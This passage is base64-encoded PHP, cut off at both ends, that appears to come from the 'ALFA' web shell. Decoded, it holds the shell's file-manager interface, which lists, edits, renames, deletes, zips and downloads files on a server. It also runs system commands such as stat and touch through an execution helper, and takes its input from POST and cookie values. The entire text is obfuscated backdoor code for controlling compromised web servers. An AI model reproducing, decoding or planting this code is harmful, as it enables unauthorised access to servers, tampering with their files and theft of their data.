iB0eXBlPSJ0ZXh0IiBuYW1lPSJsaW1pdGVkX251bWJlciIgdmFsdWU9IicuJGFsZmFfbGltaXRlZF9maWxlcy4nIiBvbmlucHV0PSJ0aGlzLnZhbHVlPXRoaXMudmFsdWUucmVwbGFjZSgvW14wLTldL2csXCdcJyk7c2V0Q29va2llKFwnYWxmYV9saW1pdGVkX2ZpbGVzXCcsIHRoaXMudmFsdWUsIDIwMTIpOyI+PHNwYW4gc3R5bGU9Im1hcmdpbi1sZWZ0OjEwcHg7Ij5GaWxlcyBDb3VudDogPGIgc3R5bGU9ImNvbG9yOiMyNWZmMDA7Ij4nLigkY291bnRfZGlyQ29udGVudC0xKS4nPC9iPjwvc3Bhbj48L2Rpdj48ZGl2IGNsYXNzPSJoZWFkZXIiPic7CmlmKCRkaXJDb250ZW50ID09IGZhbHNlKXsKZWNobyAnPGNlbnRlcj48YnI+PHNwYW4gc3R5bGU9ImZvbnQtc2l6ZToxNnB4OyI+PHNwYW4gc3R5bGU9ImNvbG9yOiByZWQ7IC13ZWJraXQtdGV4dC1zaGFkb3c6IDFweCAxcHggMTNweDsiPjxzdHJvbmc+PGI+PGJpZz4hISEgQWNjZXNzIERlbmllZCAhISE8L2I+PC9iaWc+PGJyPjxicj48L3N0cm9uZz48L2Rpdj4nOwphbGZhRm9vdGVyKCk7CnJldHVybjsKfQpnbG9iYWwgJHNvcnQ7CiRzb3J0ID0gYXJyYXkoJ25hbWUnLCAxKTsKaWYoaXNzZXQoJF9DT09LSUVbImFsZmFfc29ydF9ieSJdKSAmJiAhZW1wdHkoJF9DT09LSUVbImFsZmFfc29ydF9ieSJdKSl7Cgkkc29ydFswXSA9ICRfQ09PS0lFWyJhbGZhX3NvcnRfYnkiXTsKfQppZighZW1wdHkoJF9QT1NUWydhbGZhMSddKSkgewppZihwcmVnX21hdGNoKCchc18oW0Etel0rKV8oXGR7MX0pIScsICRfUE9TVFsnYWxmYTEnXSwgJG1hdGNoKSkKJHNvcnQgPSBhcnJheSgkbWF0Y2hbMV0sIChpbnQpJG1hdGNoWzJdKTsKfQppZigkYWxmYV9maWxlc19wYWdlX251bWJlciA+ICgkZmlsZXNfcGFnZV9jb3VudC0xKSl7CgkkYWxmYV9maWxlc19wYWdlX251bWJlciA9IDE7Cn0KJGNoZWNrYm94X3JhbmQgPSByYW5kKDExMTExLCA5OTk5OSk7CmVjaG8gIjxmb3JtIG9uc3VibWl0PSdmYyh0aGlzKTtyZXR1cm4gZmFsc2U7JyBuYW1lPSdmaWxlcycgbWV0aG9kPSdwb3N0Jz48dGFibGUgaWQ9J2ZpbGVtYW5hZ2VyX3RhYmxlJyB3aWR0aD0nMTAwJScgY2xhc3M9J21haW4nIGNlbGxzcGFjaW5nPScwJyBjZWxscGFkZGluZz0nMic+PHRyPjx0aCB3aWR0aD0nMTNweCc+PGRpdiBjbGFzcz0nbXlDaGVja2JveCcgc3R5bGU9J3BhZGRpbmctbGVmdDowcHg7Jz48aW5wdXQgdHlwZT0nY2hlY2tib3gnIGlkPSdtY2hrIi4kY2hlY2tib3hfcmFuZC4iJyBvbmNsaWNrPSdjaGVja0JveCh0aGlzKTsnIGNsYXNzPSdjaGtieCc+PGxhYmVsIGZvcj0nbWNoayIuJGNoZWNrYm94X3JhbmQuIic+PC9sYWJlbD48L2Rpdj48L3RoPjx0aD5OYW1lPC90aD48dGg+U2l6ZTwvdGg+PHRoPk1vZGlmeTwvdGg+PHRoPk93bmVyL0dyb3VwPC90aD48dGg+UGVybWlzc2lvbnM8L3RoPjx0aD5BY3Rpb25zPC90aD48L3RyPiI7CiRkaXJzID0gJGZpbGVzID0gYXJyYXkoKTsKJG4gPSAkY291bnRfZGlyQ29udGVudDsKaWYoJG4gPiAkYWxmYV9saW1pdGVkX2ZpbGVzICYmICRhbGZhX2xpbWl0ZWRfZmlsZXMgPiAwKXsKCSRuID0gKCRhbGZhX2xpbWl0ZWRfZmlsZXMgKiAkYWxmYV9maWxlc19wYWdlX251bWJlcik7CglpZigkbiA+ICRjb3VudF9kaXJDb250ZW50KXsKCQkkbiA9ICRjb3VudF9kaXJDb250ZW50OwoJfQp9CiRpID0gMDsKaWYoJGFsZmFfbGltaXRlZF9maWxlcyA+IDAgJiYgJGFsZmFfZmlsZXNfcGFnZV9udW1iZXIgPiAxKXsKCSRpID0gJGFsZmFfbGltaXRlZF9maWxlcyAqICgkYWxmYV9maWxlc19wYWdlX251bWJlciAtIDEpOwp9CiRwYWdlX2J1aWxkZXIgPSBnZXRfcGFnaW5hdGlvbl9saW5rcygkYWxmYV9maWxlc19wYWdlX251bWJlciwkZmlsZXNfcGFnZV9jb3VudCAtMSk7CiRjbWRfZGlyX2JhY2twID0gIiI7CmZvcig7JGk8JG47JGkrKyl7CmlmKCRjbWRfZGlyKXsKJGZpbGVuYW1lID0gJGRpckNvbnRlbnRbJGldWyJuYW1lIl07CiRmaWxlX293bmVyID0gJGRpckNvbnRlbnRbJGldWyJvd25lciJdOwokZmlsZV9ncm91cCA9ICRkaXJDb250ZW50WyRpXVsiZ3JvdXAiXTsKJGZpbGVfbW9kaWZ5ID0gQGRhdGUoJ1ktbS1kIEg6aTpzJywgJGRpckNvbnRlbnRbJGldWyJtb2RpZnkiXSk7CiRmaWxlX3Blcm0gPSBhbGZhUGVybXNDb2xvcihhcnJheSgiY2xhc3MiPT4kZGlyQ29udGVudFskaV1bInBlcm1jb2xvciJdLCJudW0iPT4kZGlyQ29udGVudFskaV1bInBlcm1udW0iXSwiaHVtYW4iPT4kZGlyQ29udGVudFskaV1bInBlcm1odW1hbiJdKSx0cnVlKTsKJGZpbGVfc2l6ZSA9ICRkaXJDb250ZW50WyRpXVsic2l6ZSJdOwppZihzdWJzdHIoJGRpckNvbnRlbnRbJGldWyJuYW1lIl0sIDAgLDEpID09ICIvIil7CiRmaWxlX3BhdGggPSAkZGlyQ29udGVudFskaV1bIm5hbWUiXTsKJGRpckNvbnRlbnRbJGldWyJuYW1lIl0gPSAiLi4iOwokZmlsZW5hbWUgPSAkZGlyQ29udGVudFskaV1bIm5hbWUiXTsKfWVsc2V7CiRmaWxlX3BhdGggPSAkR0xPQkFMU1snY3dkJ10uIi8iLiRkaXJDb250ZW50WyRpXVsibmFtZSJdOwp9Cn1lbHNlewokZmlsZW5hbWUgPSAkZGlyQ29udGVudFskaV07CiRvdyA9IGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0cHd1aWQiKSYmZnVuY3Rpb25fZXhpc3RzKCJmaWxlb3duZXIiKT9AcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkR0xPQkFMU1snY3dkJ10uJGZpbGVuYW1lKSk6YXJyYXkoIm5hbWUiID0+ICI/Pz8/Iik7CiRnciA9IGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0Z3JnaWQiKSYmZnVuY3Rpb25fZXhpc3RzKCJmaWxlZ3JvdXAiKT9AcG9zaXhfZ2V0Z3JnaWQoQGZpbGVncm91cCgkR0xPQkFMU1snY3dkJ10uJGZpbGVuYW1lKSk6YXJyYXkoIm5hbWUiID0+ICI/Pz8/Iik7CiRmaWxlX293bmVyID0gJG93WyduYW1lJ10/JG93WyduYW1lJ106KGZ1bmN0aW9uX2V4aXN0cygiZmlsZW93bmVyIik/QGZpbGVvd25lcigkR0xPQkFMU1snY3dkJ10uJGZpbGVuYW1lKToiPz8/PyIpOwokZmlsZV9ncm91cCA9ICRnclsnbmFtZSddPyRnclsnbmFtZSddOihmdW5jdGlvbl9leGlzdHMoImZpbGVncm91cCIpP0BmaWxlZ3JvdXAoJEdMT0JBTFNbJ2N3ZCddLiRmaWxlbmFtZSk6Ij8/Pz8iKTsKJGZpbGVfbW9kaWZ5ID0gQGRhdGUoJ1ktbS1kIEg6aTpzJywgQGZpbGVtdGltZSgkR0xPQkFMU1snY3dkJ10gLiAkZmlsZW5hbWUpKTsKJGZpbGVfcGVybSA9IGFsZmFQZXJtc0NvbG9yKCRHTE9CQUxTWydjd2QnXS4kZmlsZW5hbWUpOwokZmlsZV9zaXplID0gQGZpbGVzaXplKCRHTE9CQUxTWydjd2QnXS4kZmlsZW5hbWUpOwokZmlsZV9wYXRoID0gJEdMT0JBTFNbJ2N3ZCddLiRmaWxlbmFtZTsKfQokdG1wID0gYXJyYXkoJ25hbWUnID0+ICRmaWxlbmFtZSwKJ3BhdGgnID0+ICRmaWxlX3BhdGgsCidtb2RpZnknID0+ICRmaWxlX21vZGlmeSwKJ3Blcm1zJyA9PiAkZmlsZV9wZXJtLAonc2l6ZScgPT4gJGZpbGVfc2l6ZSwKJ293bmVyJyA9PiAkZmlsZV9vd25lciwKJ2dyb3VwJyA9PiAkZmlsZV9ncm91cAopOwppZigkZmlsZW5hbWUgPT0gIi4uIiAmJiAhJGNtZF9kaXIpewoJJHRtcFsicGF0aCJdID0gc3RyX3JlcGxhY2UoIlxcIiwgIi8iLCByZWFscGF0aCgkZmlsZV9wYXRoKSk7Cn0KaWYoISRjbWRfZGlyKXsKaWYoQGlzX2ZpbGUoJGZpbGVfcGF0aCkpewokYXJyX21yZyA9IGFycmF5KCd0eXBlJyA9PiAnZmlsZScpOwppZihAaXNfbGluaygkZmlsZV9wYXRoKSl7CiRhcnJfbXJnWyJsaW5rIl0gPSByZWFkbGluaygkdG1wWydwYXRoJ10pOwp9CiRmaWxlc1tdID0gYXJyYXlfbWVyZ2UoJHRtcCwgJGFycl9tcmcpOwp9ZWxzZWlmKEBpc19saW5rKCRmaWxlX3BhdGgpKXsKJGRpcnNbXSA9IGFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA9PiAnbGluaycsICdsaW5rJyA9PiByZWFkbGluaygkdG1wWydwYXRoJ10pKSk7Cn1lbHNlaWYoQGlzX2RpcigkZmlsZV9wYXRoKSYmICgkZmlsZW5hbWUgIT0gIi4iKSl7CiRkaXJzW10gPSBhcnJheV9tZXJnZSgkdG1wLCBhcnJheSgndHlwZScgPT4gJ2RpcicpKTsKfQp9ZWxzZXsKCWlmKCRkaXJDb250ZW50WyRpXVsidHlwZSJdPT0iZmlsZSIpewoJCSRmaWxlc1tdID0gYXJyYXlfbWVyZ2UoJHRtcCwgYXJyYXkoJ3R5cGUnID0+ICdmaWxlJykpOwoJfWVsc2V7CgkJaWYoJGRpckNvbnRlbnRbJGldWyJuYW1lIl0gIT0gIi4iKXsKCQkJJGRpcnNbXSA9IGFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA9PiAnZGlyJykpOwoJCX0KCX0KfQp9CiRHTE9CQUxTWydzb3J0J10gPSAkc29ydDsKZnVuY3Rpb24gYWxmYUNtcCgkYSwgJGIpIHsKaWYoJEdMT0JBTFNbJ3NvcnQnXVswXSAhPSAnc2l6ZScpCnJldHVybiBzdHJjbXAoc3RydG9sb3dlcigkYVskR0xPQkFMU1snc29ydCddWzBdXSksIHN0cnRvbG93ZXIoJGJbJEdMT0JBTFNbJ3NvcnQnXVswXV0pKSooJEdMT0JBTFNbJ3NvcnQnXVsxXT8xOi0xKTsKZWxzZQpyZXR1cm4gKCgkYVsnc2l6ZSddIDwgJGJbJ3NpemUnXSkgPyAtMSA6IDEpKigkR0xPQkFMU1snc29ydCddWzFdPzE6LTEpOwp9CnVzb3J0KCRmaWxlcywgImFsZmFDbXAiKTsKdXNvcnQoJGRpcnMsICJhbGZhQ21wIik7CmlmKGlzc2V0KCRfQ09PS0lFWyJhbGZhX2ZpbGVzbWFuX2RpcmVjdGlvbiJdKSYmICFlbXB0eSgkX0NPT0tJRVsiYWxmYV9maWxlc21hbl9kaXJlY3Rpb24iXSkpewoJaWYoJF9DT09LSUVbImFsZmFfZmlsZXNtYW5fZGlyZWN0aW9uIl0gPT0gJ2Rlc2MnKXsKCQkkZmlsZXMgPSBhcnJheV9yZXZlcnNlKCRmaWxlcyk7CgkJJGRpcnMgPSBhcnJheV9yZXZlcnNlKCRkaXJzKTsKCX0KfQokZmlsZXMgPSBhcnJheV9tZXJnZSgkZGlycywgJGZpbGVzKTsKJGw9MDsKJGNjPTA7CmZvcmVhY2goJGZpbGVzIGFzICRmKXsKJGZbJ25hbWUnXSA9IGh0bWxzcGVjaWFsY2hhcnMoJGZbJ25hbWUnXSk7CiRuZXduYW1lID0gbWJfc3RybGVuKCRmWyduYW1lJ10sICdVVEYtOCcpPjYwP21iX3N1YnN0cigkZlsnbmFtZSddLCAwLCA2MCwgJ3V0Zi04JykuJy4uLic6JGZbJ25hbWUnXTsKJGNoZWNrYm94ID0gJ2NoZWNrYm94XycuJGNoZWNrYm94X3JhbmQuJGNjOwokcmF3X25hbWUgPSByYXd1cmxlbmNvZGUoJGZbJ25hbWUnXSk7CiRpY29uID0gJEdMT0JBTFNbJ0RCX05BTUUnXVsnc2hvd19pY29ucyddPyc8aW1nIHNyYz0iJy5maW5kaWNvbigkZlsnbmFtZSddLCRmWyd0eXBlJ10pLiciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCI+JzonJzsKJHN0eWxlID0gJEdMT0JBTFNbJ0RCX05BTUUnXVsnc2hvd19pY29ucyddPydwb3NpdGlvbjpyZWxhdGl2ZTtkaXNwbGF5OmlubGluZS1ibG9jaztib3R0b206MTJweDsnOicnOwplY2hvICc8dHIgY2xhc3M9ImZtYW5hZ2VyLXJvdyIgaWQ9InRyX3Jvd18nLiRjYy4nIj48dGQ+PGRpdiBjbGFzcz0ibXlDaGVja2JveCI+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJmW10iIHZhbHVlPSInLiRyYXdfbmFtZS4nIiBjbGFzcz0iY2hrYngiIGlkPSInLiRjaGVja2JveCAuJyI+PGxhYmVsIGZvcj0iJy4kY2hlY2tib3ggLiciPjwvbGFiZWw+PC9kaXY+PC90ZD48dGQgaWQ9InRkX3Jvd18nLiRjYy4nIj4nLiRpY29uLic8ZGl2IHN0eWxlPSInLiRzdHlsZS4nIj48YSByb3c9IicuJGNjLiciIGlkPSJpZF8nLiRjYy4nIiBjbGFzcz0ibWFpbl9uYW1lIiBvbmNsaWNrPSInLigoJGZbJ3R5cGUnXT09J2ZpbGUnKT8nZWRpdG9yKFwnJy4kcmF3X25hbWUuJ1wnLFwnYXV0b1wnLFwnXCcsXCdcJyxcJ1wnLFwnJy4kZlsndHlwZSddLidcJyk7IiBocmVmPSIjYWN0aW9uPWZpbGVtYW4mcGF0aD0nLiRHTE9CQUxTWydjd2QnXS4nJmZpbGU9Jy4kcmF3X25hbWUuJyIgZm5hbWU9IicuJHJhd19uYW1lLiciIGZ0eXBlPSJmaWxlIiBwYXRoPSInLiRHTE9CQUxTWydjd2QnXS4nIiBvcHRfdGl0bGU9IicuJGZbJ2xpbmsnXS4nIiAnLihpc3NldCgkZlsnbGluayddKT8nb25tb3VzZW92ZXI9InNob3dTeW1saW5rUGF0aCh0aGlzLGV2ZW50KTsiIG9ubW91c2VvdXQ9ImhpZGVTeW1saW5rUGF0aCh0aGlzLGV2ZW50KTsiJzonJykuJz4nLigkR0xPQkFMU1snY3dkJ10uJGZbJ25hbWUnXT09JEdMT0JBTFNbJ19fZmlsZV9wYXRoJ10/IjxzcGFuIGNsYXNzPSdzaGVsbF9uYW1lJyBzdHlsZT0nZm9udC13ZWlnaHQ6dW5zZXQ7Jz4iLiRmWyduYW1lJ10uIjwvc3Bhbj4iOmh0bWxzcGVjaWFsY2hhcnMoJG5ld25hbWUpKTonZyhcJ0ZpbGVzTWFuXCcsXCcnLiRmWydwYXRoJ10uJ1wnKTsiIGhyZWY9IiNhY3Rpb249ZmlsZW1hbiZwYXRoPScuJGZbJ3BhdGgnXS4nIiBmbmFtZT0iJy4kcmF3X25hbWUuJyIgZnR5cGU9ImZvbGRlciIgcGF0aD0iJy4kR0xPQkFMU1snY3dkJ10uJyIgb3B0X3RpdGxlPSInLiRmWydsaW5rJ10uJyIgJy4oaXNzZXQoJGZbJ2xpbmsnXSk/J29ubW91c2VvdmVyPSJzaG93U3ltbGlua1BhdGgodGhpcyxldmVudCk7IiBvbm1vdXNlb3V0PSJoaWRlU3ltbGlua1BhdGgodGhpcyxldmVudCk7Iic6JycpLic+PGI+fCAnIC4gaHRtbHNwZWNpYWxjaGFycygkZlsnbmFtZSddKSAuICcgfDwvYj4nKS4nPC9hPjwvdGQ+PC9kaXY+PHRkPjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDp1bnNldDsiIGNsYXNzPSJtYWluX3NpemUiPicuKCgkZlsndHlwZSddPT0nZmlsZScpPyhpc3NldCgkZlsnbGluayddKT8nW0xdICc6JycpLmFsZmFTaXplKCRmWydzaXplJ10pOiRmWyd0eXBlJ10pLic8L3NwYW4+PC90ZD48dGQ+PHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OnVuc2V0OyIgY2xhc3M9Im1haW5fbW9kaWZ5Ij4nLiRmWydtb2RpZnknXS4nPC9zcGFuPjwvdGQ+PHRkPjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDp1bnNldDsiIGNsYXNzPSJtYWluX293bmVyX2dyb3VwIj4nLiRmWydvd25lciddLicvJy4kZlsnZ3JvdXAnXS4nPC9zcGFuPjwvdGQ+PHRkPjxhIGlkPSJpZF9jaG1vZGVfJy4kY2MuJyIgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZWRpdG9yKFwnJy4kcmF3X25hbWUuJ1wnLFwnY2htb2RcJyxcJ1wnLFwnXCcsXCdcJyxcJycuJGZbJ3R5cGUnXS4nXCcpIj4nLgokZlsncGVybXMnXS4nPC90ZD48dGQ+PGEgaWQ9ImlkX3JlbmFtZV8nLiRjYy4nIiB0aXRsZT0iUmVuYW1lIiBjbGFzcz0iYWN0aW9ucyIgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgb25jbGljaz0iZWRpdG9yKFwnJy4kcmF3X25hbWUuJ1wnLCBcJ3JlbmFtZVwnLFwnXCcsXCdcJyxcJ1wnLFwnJy4kZlsndHlwZSddLidcJykiPlI8L2E+IDxhIGlkPSJpZF90b3VjaF8nLiRjYy4nIiB0aXRsZT0iTW9kaWZ5IERhdGV0aW1lIiBjbGFzcz0iYWN0aW9ucyIgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgb25jbGljaz0iZWRpdG9yKFwnJy4kcmF3X25hbWUuJ1wnLCBcJ3RvdWNoXCcsXCdcJyxcJ1wnLFwnXCcsXCcnLiRmWyd0eXBlJ10uJ1wnKSI+VDwvYT4nLigoJGZbJ3R5cGUnXT09J2ZpbGUnKT8nIDxhIGlkPSJpZF9lZGl0XycuJGNjLiciIGNsYXNzPSJhY3Rpb25zIiB0aXRsZT0iRWRpdCIgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgb25jbGljaz0iZWRpdG9yKFwnJy4kcmF3X25hbWUuJ1wnLCBcJ2VkaXRcJyxcJ1wnLFwnXCcsXCdcJyxcJycuJGZbJ3R5cGUnXS4nXCcpIj5FPC9hPiA8YSBpZD0iaWRfZG93bmxvYWRfJy4kY2MuJyIgdGl0bGU9IkRvd25sb2FkIiBjbGFzcz0iYWN0aW9ucyIgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy4kcmF3X25hbWUuJ1wnLCBcJ2Rvd25sb2FkXCcpIj5EPC9hPic6JycpLic8YSBpZD0iaWRfZGVsZXRlXycuJGNjLiciIHRpdGxlPSJEZWxldGUiIGNsYXNzPSJhY3Rpb25zIiBocmVmPSJqYXZhc2NyaXB0OnZvaWQoMCk7IiBvbmNsaWNrPSJ2YXIgY2hrID0gY29uZmlybShcJ0FyZSBZb3UgU3VyZSBGb3IgRGVsZXRlICMgJy5hZGRzbGFzaGVzKHJhd3VybGRlY29kZSgkZlsnbmFtZSddKSkuJyAjID9cJyk7IGNoayA/IGcoXCdGaWxlc01hblwnLG51bGwsXCdkZWxldGVcJywgXCcnLiRyYXdfbmFtZS4nXCcpIDogXCdcJzsiPiBYIDwvYT48L3RkPjwvdHI+JzsKJGwgPSAkbD8wOjE7CiRjYysrOwp9CmVjaG8gIjx0ciBpZD0nZmlsZW1hbmFnZXJfbGFzdF90cic+PHRkIGNvbHNwYW49Nz4KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0nRmlsZXNNYW4nPgo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jIHZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoKCRHTE9CQUxTWydnbG9iX2NoZGlyX2ZhbHNlJ10/JF9QT1NUWydjJ106JEdMT0JBTFNbJ2N3ZCddKSkuIic+CjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQgdmFsdWU9JyIuIChpc3NldCgkX1BPU1RbJ2NoYXJzZXQnXSk/JF9QT1NUWydjaGFyc2V0J106JycpLiInPgo8c2VsZWN0IGlkPSd0b29sc19zZWxlY3RvcicgbmFtZT0nYWxmYTEnPjxvcHRpb24gdmFsdWU9J2NvcHknPkNvcHk8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdtb3ZlJz5Nb3ZlPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nZGVsZXRlJyBzZWxlY3RlZD5EZWxldGU8L29wdGlvbj48b3B0aW9uIHZhbHVlPSd6aXAnPkFkZCAyIENvbXByZXNzICh6aXApPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ndW56aXAnPkFkZCAyIFVuY29tcHJlc3MgKHppcCk8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdwYXN0ZSc+UGFzdGUgLyBaaXAgLyBVbnppcCA8L29wdGlvbj48L3NlbGVjdD4KPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyAnPgo8L2Zvcm0+PC90YWJsZT48ZGl2IGNsYXNzPSdwYWdlcy1ob2xkZXInPjxkaXYgY2xhc3M9J3BhZ2VzLW51bWJlcic+Ii4kcGFnZV9idWlsZGVyLiI8L2Rpdj48L2Rpdj48L2Rpdj48L2Rpdj4iOwphbGZhZm9vdGVyKCk7Cn0KZnVuY3Rpb24gZ2V0X3BhZ2luYXRpb25fbGlua3MoJGN1cnJlbnRfcGFnZSwgJHRvdGFsX3BhZ2VzKXsKICAgICRsaW5rcyA9ICIiOwogICAgaWYgKCR0b3RhbF9wYWdlcyA+PSAxICYmICRjdXJyZW50X3BhZ2UgPD0gJHRvdGFsX3BhZ2VzKSB7CgkJJGxpbmtzIC49ICI8YSBvbmNsaWNrPVwicGFnZUNoYW5nZWRGaWxlc01hbih0aGlzKTtcIiBjbGFzcz1cInBhZ2UtbnVtYmVyXCI+PDw8L2E+IjsKCQkkc2VsZWN0ZWRfcGFnZSA9ICIiOwoJCWlmKCRjdXJyZW50X3BhZ2UgPT0gMSl7CgkJCSRzZWxlY3RlZF9wYWdlID0gIiBhY3RpdmUtcGFnZS1udW1iZXIiOwoJCX0KICAgICAgICAkbGlua3MgLj0gIjxhIG9uY2xpY2s9XCJwYWdlQ2hhbmdlZEZpbGVzTWFuKHRoaXMpO1wiIGNsYXNzPVwicGFnZS1udW1iZXIiLiRzZWxlY3RlZF9wYWdlLiJcIj4xPC9hPiI7CiAgICAgICAgJGkgPSBtYXgoMiwgJGN1cnJlbnRfcGFnZSAtIDUpOwogICAgICAgIGlmICgkaSA+IDIpCiAgICAgICAgICAgICRsaW5rcyAuPSAiPGEgY2xhc3M9XCJwYWdlLW51bWJlclwiPi4uLjwvYT4iOwogICAgICAgIGZvciAoOyAkaSA8IG1pbigkY3VycmVudF9wYWdlICsgNiwgJHRvdGFsX3BhZ2VzKTsgJGkrKykgewoJCQlpZigkaSA9PSAkY3VycmVudF9wYWdlKXsKCQkJCSRzZWxlY3RlZF9wYWdlID0gIiBhY3RpdmUtcGFnZS1udW1iZXIiOwoJCQl9ZWxzZXsKCQkJCSRzZWxlY3RlZF9wYWdlID0gIiI7CgkJCX0KICAgICAgICAgICAgJGxpbmtzIC49ICI8YSBvbmNsaWNrPVwicGFnZUNoYW5nZWRGaWxlc01hbih0aGlzKTtcIiBjbGFzcz1cInBhZ2UtbnVtYmVyIi4kc2VsZWN0ZWRfcGFnZS4iXCI+eyRpfTwvYT4iOwogICAgICAgIH0KICAgICAgICBpZiAoJGkgIT0gJHRvdGFsX3BhZ2VzKQogICAgICAgICAgICAkbGlua3MgLj0gIjxhIGNsYXNzPVwicGFnZS1udW1iZXJcIj4uLi48L2E+IjsKCQkkc2VsZWN0ZWRfcGFnZSA9ICIgbGFzdC1wYWdlLW51bWJlciI7CgkJaWYoJGN1cnJlbnRfcGFnZSA9PSAkdG90YWxfcGFnZXMpewoJCQkkc2VsZWN0ZWRfcGFnZSAuPSAiIGFjdGl2ZS1wYWdlLW51bWJlciI7CgkJfQogICAgICAgICRsaW5rcyAuPSAiPGEgb25jbGljaz1cInBhZ2VDaGFuZ2VkRmlsZXNNYW4odGhpcyk7XCIgY2xhc3M9XCJwYWdlLW51bWJlciIuJHNlbGVjdGVkX3BhZ2UuIlwiPnskdG90YWxfcGFnZXN9PC9hPiI7CgkJJGxpbmtzIC49ICI8YSBvbmNsaWNrPVwicGFnZUNoYW5nZWRGaWxlc01hbih0aGlzKTtcIiBjbGFzcz1cInBhZ2UtbnVtYmVyXCI+Pj48L2E+IjsKICAgIH0KICAgIHJldHVybiAkbGlua3M7Cn0KZnVuY3Rpb24gYWxmYUZpbGVzVG9vbHMoKXsKYWxmYWhlYWQoKTsKZWNobyAnPGRpdiBjbGFzcz0iZmlsZXN0b29scyIgc3R5bGU9ImhlaWdodDogMTAwJTsiPic7CmlmKGlzc2V0KCRfUE9TVFsnYWxmYTEnXSkpJF9QT1NUWydhbGZhMSddID0gcmF3dXJsZGVjb2RlKCRfUE9TVFsnYWxmYTEnXSk7CiRhbGZhMV9kZWNvZGVkID0gJF9QT1NUWydhbGZhMSddOwokY2hkaXJfZmFscyA9IGZhbHNlOwppZighQGNoZGlyKCRfUE9TVFsnYyddKSl7CgkkY2hkaXJfZmFscyA9IHRydWU7CgkkX1BPU1RbJ2FsZmExJ10gPSAkX1BPU1RbImMiXS4iLyIuJF9QT1NUWyJhbGZhMSJdOwoJJGFsZmFfY2FucnVuY21kID0gX2FsZmFfY2FuX3J1bkNvbW1hbmQodHJ1ZSx0cnVlKTsKCWlmKCRhbGZhX2NhbnJ1bmNtZCl7CgkJJHNsYXNoZWRfYWxmYTEgPSBhZGRzbGFzaGVzKCRfUE9TVFsnYWxmYTEnXSk7CgkJJGZpbGVfaW5mbyA9IGV4cGxvZGUoIjoiLCBhbGZhRXgoJ3N0YXQgLWMgIiVGOiVVOiVHOiVzOiVZOjAlYTolQSIgIicuJHNsYXNoZWRfYWxmYTEuJyInKSk7CgkJJHBlcm1fY29sb3JfY2xhc3MgPSBhbGZhRXgoImlmIFtbIC13ICciLiRzbGFzaGVkX2FsZmExLiInIF1dOyB0aGVuIGVjaG8gbWFpbl9ncmVlbl9wZXJtOyBlbGlmIFtbIC1yICciLiRzbGFzaGVkX2FsZmExLiInIF1dOyB0aGVuIGVjaG8gbWFpbl93aGl0ZV9wZXJtOyBlbHNlIGVjaG8gbWFpbl9yZWRfcGVybTsgZmkiKTsKCX0KfQppZigkX1BPU1RbJ2FsZmEyJ10gPT0gJ2F1dG8nKXsKaWYoaXNfYXJyYXkoQGdldGltYWdlc2l6ZSgkX1BPU1RbJ2FsZmExJ10pKSl7CiRfUE9TVFsnYWxmYTInXSA9ICdpbWFnZSc7Cn1lbHNlewoJJF9QT1NUWydhbGZhMiddID0gJ3ZpZXcnOwoJaWYoJGNoZGlyX2ZhbHMpewoJCWlmKCRhbGZhX2NhbnJ1bmNtZCl7CgkJCSRtaW1lID0gZXhwbG9kZSgiOiIsIGFsZmFFeCgiZmlsZSAtLW1pbWUtdHlwZSAnIi5hZGRzbGFzaGVzKCRfUE9TVFsnYWxmYTEnXSkuIiciKSk7CgkJCSRtaW1ldHlwZSA9ICRtaW1lWzFdOwoJCQlpZighZW1wdHkoJG1pbWV0eXBlKSl7CgkJCQlpZihzdHJzdHIoJG1pbWV0eXBlLCAiaW1hZ2UiKSl7CgkJCQkJJF9QT1NUWydhbGZhMiddID0gJ2ltYWdlJzsKCQkJCX0KCQkJfQoJCX0KCX0KfQp9CmlmKCRfUE9TVFsnYWxmYTInXSA9PSAicmVuYW1lIiAmJiAhZW1wdHkoJF9QT1NUWydhbGZhMyddKSAmJiBAaXNfd3JpdGFibGUoJF9QT1NUWydhbGZhMSddKSl7JHJlbmFtZV9jYWNoZSA9ICRfUE9TVFsnYWxmYTMnXTt9CmlmKEAkX1BPU1RbJ2FsZmEyJ10gPT0gJ21rZmlsZScpewokX1BPU1RbJ2FsZmExJ10gPSB0cmltKCRfUE9TVFsnYWxmYTEnXSk7CmlmKCRjaGRpcl9mYWxzJiYkYWxmYV9jYW5ydW5jbWQpewoJaWYoX2FsZmFfaXNfd3JpdGFibGUoJF9QT1NUWyJjIl0pKXsKCQlhbGZhRXgoImNkICciLmFkZHNsYXNoZXMoJF9QT1NUWyJjIl0pLiInO3RvdWNoICciLmFkZHNsYXNoZXMoJGFsZmExX2RlY29kZWQpLiInIik7CgkJJF9QT1NUWydhbGZhMiddID0gImVkaXQiOwoJfQp9CmlmKCFAZmlsZV9leGlzdHMoJF9QT1NUWydhbGZhMSddKSl7CiRmcCA9IEBmb3BlbigkX1BPU1RbJ2FsZmExJ10sICd3Jyk7CmlmKCRmcCl7CiRfUE9TVFsnYWxmYTInXSA9ICJlZGl0IjsKZmNsb3NlKCRmcCk7Cn0KfWVsc2V7CiRfUE9TVFsnYWxmYTInXSA9